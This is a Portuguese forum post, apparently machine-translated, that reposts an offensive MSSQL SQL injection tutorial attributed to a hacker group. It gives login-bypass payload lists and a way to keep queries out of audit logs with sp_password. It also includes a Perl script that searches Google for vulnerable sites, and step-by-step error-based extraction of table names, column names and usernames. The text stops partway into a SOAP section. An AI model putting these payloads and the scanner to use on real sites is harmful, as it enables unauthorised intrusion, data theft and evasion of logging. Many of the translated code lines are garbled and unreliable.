Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Invasão por MSSQL | ODBC | MSSQL Blind | MSSQL Cheat | e Outros (Completo)

Collapse
This is a sticky topic.
X
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Invasão por MSSQL | ODBC | MSSQL Blind | MSSQL Cheat | e Outros (Completo)


    # # # # # # # # # # # # # # # # # # # #
    Conteúdo Sophia Hacker Group Mssql
    # # # # # # # # # # # # # # # # # # # #

    Bom Galera hoje venho compartilhando este Super Mega Tutorial que Eu e o Nosso Amigo Alternative traduzimos para vocês sobre Invasões a Mssql Completo mesmo... Você precisa ter muita paciência e perseverança para ir até o final hehe. bom vamos lá.

    Primeiro de tudo, gostaria de deixar claro que os autores originais deste tópico são: ZeQ3uL && JabAv0C

    Lembrando que é por Capítulos... [ 0x00] = Introdução / [ 0x01 ] = Conheça o básico de injeção SQL / [ 0x01b ] - Como testar sites que são vulneráveis ??em SQL Injection.... e assim por diante.


    [ 0x00] - Introdução

    [ 0x01 ] - Conheça o básico de injeção SQL

    [ 0x01a ] - Introdução à SQL Injection Ataque
    [ 0x01b ] - Como testar sites que são vulneráveis ??em SQL Injection
    [ 0x01c ] - ignorar a autenticação de SQL Injection
    [ 0x01d ] - Auditoria Evasion Log
    [ 0x01e ] - ( Perl Script) SQL- Google pesquisar sites vulneráveis

    [ 0x02 ] - MSSQL normal SQL Injection Ataque

    [ 0x02a ] - ODBC Ataque mensagem de erro com "ter" e " GROUP BY"
    [ 0x02b ] - ODBC Ataque mensagem de erro com "Convert"
    [ 0x02c ] - Injeção de MSSQL com UNIÃO Ataque
    [ 0x02d ] - Injeção MSSQL em Web Services SOAP ( Injection )

    [ 0x03 ] - MSSQL Blind SQL Injection Ataque
    [ 0x03a ] - Como testar sites que são vulneráveis ??em Blind SQL Injection
    [ 0x03b ] - Determinar dados através de Blind SQL Injection
    [ 0x03c ] - Explorar consulta para o nome Tabela get
    [ 0x03d ] - Explorar consulta para obter o nome da coluna

    [ 0x04 ] - Mais perigoso ataque de injeção SQL

    [ 0x04a ] - Perigoso de procedimentos armazenados estendidos
    [ 0x04b ] - Técnicas Avançadas de SQL Injection
    [ 0x04c ] - Massa Worms injeção MSSQL

    [ 0x05 ] - MSSQL Cheat Sheet Injection

    [ 0x06 ] - SQL Injection Contramedidas


    # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x00] - Introdução
    # # # # # # # # # # # # # # # # # # # # # # #

    Bem-vindo, leitor , este trabalho é uma pequena tentativa de documentar uma técnica prática
    temos vindo a trabalhar. Isso irá guiá- papers sobre a técnica que permite que os atacantes
    (us) acesso no processo de exploração de um site através de técnicas de injeção SQL
    que nós nos concentramos apenas em MSSQL

    Este artigo está dividido em oito seções, mas apenas a partir de seção 0x01 a 0x06
    são informações sobre a técnica.

    Seção 0x01 , falamos sobre conhecimento básico de vulnverabilities de injeção SQL que
    são classificados em dois tipos , normal e cego. Seção 0x02, damos um detalhe de cada forma
    atacando através de injeção SQL. Seção 0x03 , explicamos o caminho para enumerar os dados através de
    técnica de injeção SQL blind. Seção 0x04 , mostramos abordagens mais perigosas que podem ocorrer
    através de vulnerabilidades de injeção SQL. Seção 0x05 , coletamos consultas MSSQL em diversas finalidades.
    Seção 0x06 , oferecemos algumas dicas , a fim de evitar que o sistema de ataque de injeção de SQL.

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x01 ] - Conheça o básico de injeção SQL
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

    Vulnerabilidades de injeção SQL ocorre quando o servidor de base de dados pode ser feita para rodar SQL arbitrária
    ( Structured Query Language) comandos . Normalmente executado através da aplicação web front-end (interface utilização ,
    forma , etc ) , o ataque envolve a introdução de instruções SQL malformados ou inesperados que resultam em não autorizada
    execução de comandos SQL no servidor de banco de dados.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x01a ] - Introdução à SQL Injection Ataque
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Ataques de injeção SQL ocorre quando comandos SQL maliciosos são injetadas em uma consulta SQL predefinida
    , a fim de alterar o resultado da consulta. Tomemos o exemplo de uma aplicação que solicita um ID de usuário
    para autenticação. O aplicativo adiciona este ID de usuário para uma consulta SQL pré-definido para realizar a autenticação .

    No entanto, se em vez de fornecer um nome de usuário válido entradas atacante um comando especializado SQL
    que força o término da consulta SQL predefinida e obriga a realização de uma nova consulta SQL. neste
    forma, o atacante pode executar qualquer comando SQL no sistema host sem necessidade para entrar

    Um exploit injeção SQL sucesso pode ler dados sensíveis do banco de dados , modifique os dados do banco de dados
    (Insert / Update / Delete ) , executar operações de administração do banco de dados (como desligar o DBMS) , recuperar
    o conteúdo de um determinado arquivo presente no DBMS sistema de arquivos e , em alguns casos emitir comandos para o sistema operacional.

    Um aplicativo é vulnerável ao ataque de injeção de SQL quando:
    - A entrada do usuário é filtrada incorretamente para cadeia de caracteres de escape literais embutidos em instruções SQL.
    - A entrada do usuário é ou não restrito? por exemplo através de tipagem forte - e, assim, pode ser feita para executar
    de um modo inesperado

    SQL Injection ocorrem sempre no aplicativo que precisa falar com um banco de dados incluem :
    - Formas de autenticação (login Pages)
    - Formulários de pesquisa
    - Sites de E -Commerce
    - Forum / WebBoard

    - Conteúdo Gerenciar System ( CMS de que o uso do DB ), tais como:
    Joomla Componentes ( Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
    Mambo Componentes ( Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
    Wordpress Plugin ( Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )


    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x01b ] - Como testar sites que são vulneráveis ??em SQL Injection
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Devemos fazer uma lista de todos os campos de entrada , cujos valores poderiam ser utilizados na elaboração de uma consulta SQL ,
    incluindo os campos ocultos de solicitações POST e , em seguida, testá-los separadamente , tentando interferir com
    a consulta e gerar um erro. O primeiro teste geralmente consiste em adicionar uma "aspas" simples ( ' )
    , Aspas ( "") ou um ponto e vírgula ( para o campo sob teste.

    [Simples URL] Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    [Test sqli ] Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '

    É vulnerável a injeção de SQL , Se a saída de algum erro como este:

    [ Resposta HTTP] ---------------------------------------------- -------------------------------
    Microsoft OLE DB Provider for ODBC Drivers erro '80040e14 '
    [Microsoft] [ODBC SQL Server Driver] [SQL Server] Unclosed aspas antes do
    cadeia de caracteres .''
    / news.asp , linha 52
    [Fim de Resposta HTTP] --------------------------------------------- ----------------------------

    Próxima solução , use " e / ou" Operação para testar a vulnerabilidade de injeção SQL:

    Se contém é o diferente como URL original que despejar todos os dados
    do banco de dados , é vulnerável a injeção de SQL .

    [Simples URL] Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    [ saída ] ----------------------------------------------- -------------------------------------

    Notícias: 2
    Detalhes : Prevenção de ataques de injeção SQL cegos , A maioria dos profissionais de segurança sei ...

    [Saída End] ---------------------------------------------- ----------------------------------


    [Test sqli ] Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ' ou '1' = '1

    [ saída ] ----------------------------------------------- -------------------------------------
    Notícias: 1
    Detalhes: ataque de injeção de SQL infecta centenas de milhares de sites ...

    Notícias: 2
    Detalhes : Prevenção de ataques de injeção SQL cegos , A maioria dos profissionais de segurança sei ...

    Notícias: 3
    Detalhes: Massa de injeção de SQL , não há outra rodada de massa injeções SQL em curso , que já infectou ...

    Notícias: 4
    Detalhes: Novo Malware Espalhando ferramenta de ataque de injeção de SQL Botnet ...
    [Saída End] ---------------------------------------------- ----------------------------------

    Isso é ótimo ! Você pode ver algo diferente do URL original? ( É Vuln em ataques de injeção SQL ) ,
    É devolver todas as consulta de banco de dados, por quê?

    [ ASP_code ]
    var sql = "SELECT * FROM news WHERE id = ' " + getid + " '";
    [End ASP_code ]

    [ Consulta Final / / id = 2]
    SELECT * FROM news WHERE id = '2 '/ / É voltará Notícias 2
    [Id End = 2]

    [ Consulta Final / / id = 2 ' ou ' a ' =' a] / / Teste sqli Vuln
    SELECT * FROM news WHERE id = '2 ' ou ' a ' =' a ' / / É incluem ' ou 'a' = 'a na instrução SQL ea condição é TRUE,
    / / Então, Ele irá retornar todas as notícias (id = 1,2,3, ... )
    [Id Fim = 2 ' ou' a ' =' a ]

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x01c ] - ignorar a autenticação de SQL Injection
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Esta técnica básica para " contornar Login" quando a aplicação usar DB para verificação de autenticação.
    No entanto , um atacante pode possivelmente ignorar essa verificação com injeção de SQL.

    [Exemplo os scripts ]

    + ----------------------------- +
    | ' Ou 1 = 1 - |
    | Um 'or 1 = 1 - |
    | "Ou 1 = 1 - |
    | Um "ou 1 = 1 - |
    | 'Or 1 = 1 # |
    | "Ou 1 = 1 # |
    Ou | 1 = 1 - |
    | 'Ou' x '=' x |
    | "Ou" x " =" x |
    | ') Ou (' x '=' x |
    | ") Ou (" x "=" x |
    | ' Ou nome LIKE' % admin % |
    + ----------------------------- +
    | Usuário: 'or 1 / * |
    | Senha: * / = 1 - |
    + ----------------------------- +
    | Usuário: admin ' ou ' a ' =' a |
    | SENHA: '# |
    + ----------------------------- +


    [Login ASP_code ] ---------------------------------------------- ------------------------------
    var sql = "SELECT * FROM utilizadores WHERE username = ' " + formusr + " ' AND password = '" + formpwd + " '";
    [End Entrar ASP_code ] --------------------------------------------- ---------------------------

    Quando entrada algo como isto:
    formusr = admin
    formpwd = 'ou' a = 'a


    [SQL Consulta ] ---------------------------------------------- -----------------------------------
    SELECT * FROM utilizadores WHERE username = 'admin ' AND password = '' ou 'a' = 'a '
    [Código End] ---------------------------------------------- ------------------------------------

    Esta condição SQL é verdadeiro e processo de login de bypass , então você não precisa de senha do administrador . ( Basta usar ' ou ' a ' =' a)

    Se entrada algo como isto
    formusr = ' ou 1 = 1 -
    formpwd = nada

    [SQL Consulta ] ---------------------------------------------- -----------------------------------
    SELECT * FROM utilizadores WHERE username = '' or 1 = 1 - AND password = ' nada '
    [Código End] ---------------------------------------------- ------------------------------------

    Nota ** **

    - É a operadora comentário de MSSQL DB usado para comentar tudo seguindo este operador.
    / * Comentário * / em linha comentário , comentários fora resto da consulta por não lhes fechando / Bypass lista negra .

    GOTA / * comentário * / sampletable
    DR / ** / OP / * desvio lista negra * / sampletable
    SELECT / * Evite - os espaços * / senha / ** / de / ** / Membros


    Se a aplicação é primeiro obter o registro de nome de usuário e , em seguida, comparar voltou com MD5 MD5 da senha fornecida , em seguida,
    você precisa de alguns truques extras para enganar aplicação para ignorar a autenticação . Pode resultados sindicais com uma senha conhecida e hash MD5
    de senha fornecida . Neste caso, a aplicação irá comparar sua senha e seu hash MD5 fornecido em vez de MD5 a partir de banco de dados.

    formusr = admin
    formpwd = pass ' AND 1 = 2 UNION ALL SELECT' admin ' , '1 a1dc91c907325c69271ddf0c944bc72

    1a1dc91c907325c69271ddf0c944bc72 = MD ( passagem)


    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x01d ] - Auditoria Evasion Log
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Quando injeção algum código com Técnicas sqli , Todas as consultas SQL podem ser registrados e administrador pode saber o que está acontecer ?
    A técnica de registro de evade , nós usamos " sp_password "

    formusr = ' ou 1 = 1 - sp_password
    formpwd = nada


    SQL Server não registrar consultas que inclui sp_password por razões de segurança ( !) . Então, se você adicionar - sp_password às suas perguntas
    não será em logs do SQL Server ( claro ainda estará em logs de servidores web , tente usar POST se é possível).

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x01e ] - ( Perl Script) SQL- Google pesquisar sites vulneráveis
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    A boa maneira de pesquisar sites que tenham vulnerabilidade de injeção SQL é " Google"
    ( Essa poderosa para usar todos os motores de busca para pesquisa com IRCbots ) . Nós desenvolvemos script Perl simples para
    procurar buracos de injeção SQL ( MSSQL, Mysql , MS Access, Oracle[/COLOR) nome de " Busca SQL- Google" :
    Código:
    #! / usr / bin / perl
    use LWP :: Simple ;
    use LWP :: UserAgent ;
    usar HTTP :: Request ;
    my $ sis = "$ ^ O "; if ($ sis eq ' MSWin32 ') { system (" cls ");} else { system (" clear" );}
    print " + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ n";
    print " + Sophia Hacker Group - Dorks Google Search + \ n";
    imprimir "+ CWH Metro + \ n";
    print " + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ n \ n ";
    imprimir "Insert Dork :";
    chomp ( my $ idiota = <STDIN> );
    imprimir " páginas de consulta Total (10 Links / Páginas ) :";
    chomp ( my $ page = <STDIN> );
    print " \ n [+ ] Resultado: \ n \ n";
    for ($ start = 0; ! $ start = $ page * 10 ; $ start + = 10)
    {
    . $ t = " http://www.google.com/search?hl=en&q =" $ idiota "& btnG = Pesquisar & start =" $ start . . ;
    $ ua = LWP :: UserAgent -> new ( agente => ' Mozilla 5.2 ');
    $ ua- > timeout ( 10);
    $ ua- > env_proxy ;
    $ resposta = $ ua- > get ( $ t);
    if ( $ response -> is_success )
    {
    $ c = $ response -> content ;
    @ coisas = split ( / <a href = /, $ c );
    foreach $ line ( @ coisas )
    {
    if ($ linha = ~ / ( . *) class = l / ig )
    {
    $ out = $ 1;
    $ out = ~ s / \ "/ / g;
    $ out = ~ s / $ / \ ' / ;
    $ ua = LWP :: UserAgent -> new ( agente => ' Mozilla 5.2 ');
    $ ua- > timeout ( 10);
    $ ua- > env_proxy ;
    $ resposta = $ ua- > get ( $ a );
    $ erro = $ response -> content ();
    if ($ erro = ~ m / mysql_ / | | $ error = ~ m / Division by zero in / | | $ error = ~ m / Aviso :/ )
    {print "$ out = > pode ser vulnerável em MySQL Injection \ n ! ";}
    elsif ( $ error = ~ m / Microsoft JET banco de dados / | | $ error = ~ m / ODBC Microsoft Access Driver / )
    {print "$ out = > pode ser vulnerável em Injeção MS Access \ n ! ";}
    elsif ( $ error = ~ m / Microsoft OLE DB Provider for SQL Server / | | $ error = ~ m / Unclosed aspas / )
    {print "$ out = > pode ser vulnerável em Injeção MSSQL \ n ! ";}
    elsif ( $ error = ~ m / Microsoft OLE DB Provider para Oracle / )
    {print "$ out = > pode ser vulnerável em Injeção Oráculo \ n ! ";}
    }
    }
    }
            }
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + SQL - Pesquisa do Google +
    + CWH Metro +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Insira Dork : ? Index.asp sid =
    Total de páginas de consulta ( 10 / links ) : 5

    [+] Resultado :

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '=> pode ser vulnerável em Injeção MSSQL !
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '=> pode ser vulnerável em Injeção MSSQL !
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '=> pode ser vulnerável em Injeção MSSQL !


    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x02 ] - MSSQL normal SQL Injection Ataque
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x02a ] - ODBC Ataque mensagem de erro com "ter " e" GROUP BY"
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Podemos usar as informações de mensagem de erro produzida pelo MS SQL Server para obter quase todos os dados que nós queremos .

    - " GROUP BY " é um comando sql server microsoft usado para a saída do grupo especial de consulta SQL.
    - "Ter" é um comando usado para especificar uma condição de pesquisa para um grupo ou um agregado.
    este comando é usado sempre com " GROUP BY ", caso contrário o erro vai voltar.

    Como a operação desses dois comandos , podemos aproveitá-las , a fim de
    obter determinado nome de tabela e todos os nomes desta tabela coluna. Vamos explicar-lhe usando um exemplo .

    Primeiro, o alvo tem uma tabela chamada "notícia" e, em notícia, há três colunas , que são news_id , news_author e news_detail .

    A página vulnerável é Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    A consulta nesta página é algo como

    [ Consulta ] ----------------------------------------------- ------------------------------
    var query = "SELECT * FROM Notícias Onde news_id = ' " + coluna + " '";
    [ Consulta End] ---------------------------------------------- ---------------------------

    Assim, podemos injetar comando TENDO para observar erro retornado

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 "ter 1 = 1 -
    [End sqli ] ---------------------------------------------- ----------------------------

    A consulta será

    SELECT * FROM Notícias Onde news_id = '1 ' TENDO 1 = 1 - '

    Vamos obter o erro da seguinte forma:

    -------------------------------------------------- ----------------------------------
    Microsoft OLE DB Provider for SQL Server erro '80040e14 '
    [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column ' news.news_id ' é inválida na
    lista de seleção porque não está contida em uma função aggreate e não há nenhuma cláusula GROUP BY.
    -------------------------------------------------- ----------------------------------

    Neste erro , nós sabemos o nome da tabela = "news" , utilizada nesta página e
    um nome da coluna = " news_id " , contida em particular mesa.

    O erro é de origem usando o comando TENDO sem comando GROUP BY.
    Além disso, podemos obter os outros nomes de coluna usando combinação de GROUP BY e HAVING comando .

    [ Sqli ] ----------------------------------------------- -------------------------------
    GRUPO Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ' TENDO POR news.news_id 1 = 1 -
    [End sqli ] ---------------------------------------------- ----------------------------

    A consulta será

    SELECT * FROM Notícias Onde news_id = '1 ' GROUP BY news.news_id TENDO 1 = 1 - '

    Vamos obter o erro

    -------------------------------------------------- ----------------------------------
    Microsoft OLE DB Provider for SQL Server erro '80040e14 '
    [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column ' news.news_author ' é inválida na
    lista de seleção porque não está contida em uma função aggreate e não há nenhuma cláusula GROUP BY.
    -------------------------------------------------- ----------------------------------

    Agora, sabemos que o segundo nome da tabela 1 = " news_author " coluna. O nome da terceira coluna podem ser obtidos
    adicionando o nome da segunda coluna , na consulta anterior

    [ Sqli ] ----------------------------------------------- -------------------------------
    GRUPO Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ' POR news.news_id , news.news_author possuindo 1 = 1 -
    [End sqli ] ---------------------------------------------- ----------------------------

    A consulta será

    SELECT * FROM Notícias Onde news_id = '1 ' GROUP BY news.news_id , news.news_author TENDO 1 = 1 - '

    O pedido vai gerar seguinte erro

    -------------------------------------------------- ----------------------------------
    Microsoft OLE DB Provider for SQL Server erro '80040e14 '
    [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column ' news.news_detail ' é inválida na
    lista de seleção porque não está contida em uma função aggreate e não há nenhuma cláusula GROUP BY.
    -------------------------------------------------- ----------------------------------

    O terceiro nome da coluna = " news_detail " , aparece em erro retornado . Se tivéssemos mais colunas ,
    poderíamos acrescentar news_detail na cláusula GROUP BY [COLOR] do pedido anterior então poderíamos obter o nome da coluna para frente.

    Quando adicionamos todos coluna na cláusula GROUP BY, vamos obter o resultado normal e
    estamos absolutamente sabemos que obteve todas nome da coluna na tabela 1 .

    Como este exemplo, o pedido abaixo gerará nenhum erro .

    [ Sqli ] ----------------------------------------------- -------------------------------
    GRUPO Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ' POR news.news_id , news.news_author , news_detail TENDO 1 = 1 -
    [End sqli ] ---------------------------------------------- ----------------------------

    A consulta será SELECT * FROM Notícias Onde news_id = '1 ' GROUP BY news.news_id , news.news_author , news_detail TENDO 1 = 1 - '

    Como nenhum retorno de erro , sabemos que a tabela 1 é composta por três colunas que são " news_id ", " news_author " e " news_detail " .

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x02b ] - ODBC Ataque mensagem de erro com "Convert"
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Em nossa opinião, MSSQL expressa muita informação em erro retornado . É útil para os programadores para depurar sua aplicação , entretanto,
    é valiosa para muitos atacantes , como ver na seção anterior.

    Nesta seção , nós fornecemos um outro método de utilização do erro MSSQL através de um comando chamado "converter" .
    converter o comando é utilizado para converter tipos de dados entre dois e quando os dados específicos não podem ser transformadas em um outro tipo ,
    este comando irá retornar erro. vamos ver através de um exemplo:

    Neste exemplo , vamos mostrar -lhe como obter MSSQL_Version , DB_Name , User_name .

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1+and+1=convert (int , @ @ version ) -
    [End sqli ] ---------------------------------------------- ----------------------------

    Mensagem de erro retornado:

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86 ), 09 de fevereiro de 2007
    22:47:07 Copyright ( c ) 1988-2005 Microsoft Corporation Express Edition no Windows NT 5.2 (Build 3790 : Service Pack 1)
    " O tipo de dados int .
    / page.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Agora, sabemos que a versão do MSSQL e OS (Windows Server 2003) , Vamos enumerar DB_Name .

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1+and+1=convert (int, nome_db ()) -
    [End sqli ] ---------------------------------------------- ----------------------------

    Mensagem de erro retornado:

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar ' cwhdb ' para o tipo de dados int .
    / page.asp , linha 9

    -------------------------------------------------- ----------------------------------

    Podemos saber o nome de banco de dados = " cwhdb " , Next é consulta para obter usuário atual que DB prazo.

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1+and+1=convert (int, user_name ()) -[/COLOR
    [End sqli ] ---------------------------------------------- ----------------------------

    Mensagem de erro retornado:

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar 'sa' para o tipo de dados int .
    / showthread.asp , linha 9

    -------------------------------------------------- ----------------------------------

    W00t ! W00t ! , Ele usa privilégios "sa" lol . Esta informação pode ajudar-nos que podemos usar estendida
    procedimento armazenado " XP_CMDSHELL " para executar comandos arbitrários executado.


    No próximo exemplo , vamos mostrar -lhe como obter nomes de tabelas , nomes de colunas e dados.

    Dê uma olhada no nosso primeiro pedido

    " information_schema.tables " armazena informações sobre as tabelas em bancos de dados e há um campo chamado " table_name "
    que armazena nomes de cada mesa. O resultado deste pedido é algo como isto:

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha na conversão ' tópicos ' o valor nvarchar para int tipo de dados.
    / page.asp , linha 9
    -------------------------------------------------- ----------------------------------

    A partir da consulta , temos tópicos como um tipo de dados nvarchar e como ele não pode converter de tópicos para o tipo de dados int , o erro é retornado.
    Portanto , sabemos que a primeira tabela = "threads" , a partir deste erro. O próximo passo é olhar para a segunda tabela.
    Nós só colocar cláusula WHERE anexar a consulta no pedido acima.

    [ Sqli ] ----------------------------------------------- -------------------------------

    não + no + ( " threads " ))) -
    [End sqli ] ---------------------------------------------- ----------------------------

    Nós entraremos em um erro como este :

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar 'users' para int tipo de dados.
    / page.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Mais uma vez , sabemos que a segunda tabela = "usuários" , a partir do erro. Se queremos outra tabela , só acrescentar a nossa lista de mesa conhecido. por exemplo,

    [ Sqli ] ----------------------------------------------- -------------------------------

    não + no + ( ' tópicos ' , 'usuários' ))) -
    [End sqli ] ---------------------------------------------- ----------------------------

    E teremos um erro:

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar ' fóruns ' para int tipo de dados.
    / page.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Isto significa que a terceira tabela = " fóruns " . Por outro lado, se o anterior pedido de retorno algo como isto.

    -------------------------------------------------- ----------------------------------
    ADODB.Field erro '800a0bcd '
    BOF ou EOF é verdadeiro , ou o registro atual foi excluído . A operação solicitada requer um registro atual.
    / page.asp , linha 10
    -------------------------------------------------- ----------------------------------

    Isso significa que esse banco de dados é composto por apenas duas mesas, tópicos e usuários.

    OK , agora , já se todas as tabelas. O próximo alvo é os nomes das colunas .
    O método para recuperar os nomes das colunas não é muito diferente de ficar nomes de tabelas .
    Nós simplesmente mudar de " information_schema.tables " para " information_schema.columns " e de " table_name " para " column_name "
    mas temos de acrescentar " table_name " em ONDE cluase , a fim de especificar a tabela que vai puxar os nomes das colunas de .

    Não vou falar de + , vamos ver um exemplo

    [ Sqli ] ----------------------------------------------- -------------------------------

    [End sqli ] ---------------------------------------------- ----------------------------

    A partir desta solicitação , temos um seguinte erro

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar ' uname ' para int tipo de dados.
    / showthread.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Como a mesma abordagem de obter os nomes das tabelas , que de repente sabe que a primeira coluna de "usuários" de mesa é " uname " .
    Por outro nome de coluna , nós adicionamos um pouco em cláusula WHERE .

    [ Sqli ] ----------------------------------------------- -------------------------------

    e column_name + + não + no + ( ' uname ' ))) -
    [End sqli ] ---------------------------------------------- ----------------------------

    Nós vamos receber um erro abaixo.

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar ' upass ' para int tipo de dados.
    / showthread.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Com certeza sabemos que a segunda coluna = " upass " , de " usuários " de mesa. Para obter mais nomes de colunas ,
    só anexar uma lista de tabela conhecida como aquele em obter os nomes das tabelas . Por exemplo, a

    [ Sqli ] ----------------------------------------------- -------------------------------

    e column_name + + não + no + ( ' uname ', ' upass ' ))) -
    [End sqli ] ---------------------------------------------- ----------------------------

    A mensagem de erro:

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar 'email' para int tipo de dados.
    / showthread.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Assim, a terceira coluna é "email" . mas se o erro está

    -------------------------------------------------- ----------------------------------
    ADODB.Field erro '800a0bcd '
    BOF ou EOF é verdadeiro , ou o registro atual foi excluído . A operação solicitada requer um registro atual.
    / page.asp , linha 10
    -------------------------------------------------- ----------------------------------

    Isto significa que não há mais a coluna da esquerda . Em seguida é o verdadeiro alvo que os atacantes querem, os dados.
    Se dar uma olhada com cuidado, veremos que a idéia não é diferente de começar mesa e coluna.
    Use a mesma maneira, mas apenas mudar a tabela eo nome da coluna .

    Se queremos dados uName no tabela de usuários , podemos fazer assim:

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1+and+1=convert (int, ( select + top + 1 uname + de + usuários ) ) -
    [End sqli ] ---------------------------------------------- ----------------------------

    Vamos ver uname em erro retornado .

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar 'admin' para o tipo de dados int .
    / page.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Agora, nós sabemos que não é 'admin' na coluna ' uname ' de ' usuários ' table . Por outro uname ,
    que acabamos de criar uma lista de tabela conhecida como tabela e coluna .

    [ Sqli ] ----------------------------------------------- -------------------------------

    [End sqli ] ---------------------------------------------- ----------------------------

    Erro novamente :

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client erro '80040e07 '
    Falha ao converter o valor nvarchar ' cwh ' para o tipo de dados int .
    / page.asp , linha 9
    -------------------------------------------------- ----------------------------------

    OK , nós temos um outro " uname ", que é " cwh . Se tentarmos na sequência do pedido .

    [ Sqli ] ----------------------------------------------- -------------------------------

    [End sqli ] ---------------------------------------------- ----------------------------

    E temos um erro como este

    -------------------------------------------------- ----------------------------------
    ADODB.Field erro '800a0bcd '
    BOF ou EOF é verdadeiro , ou o registro atual foi excluído . A operação solicitada requer um registro atual.
    / showthread.asp , linha 10
    -------------------------------------------------- ----------------------------------

    Isso significa que há apenas dois uname na tabela de usuários (admin , cwh ) .

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x02d ] - Injeção MSSQL em Web Services SOAP ( Injection )
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Serviços da Web usam mensagens XML que seguem o padrão SOAP e foram populares com empresa tradicional.
    Em tais sistemas , há muitas vezes uma descrição legível por máquina das operações do serviço oferecido pela escrita na
    Web Services Description Language (WSDL) .
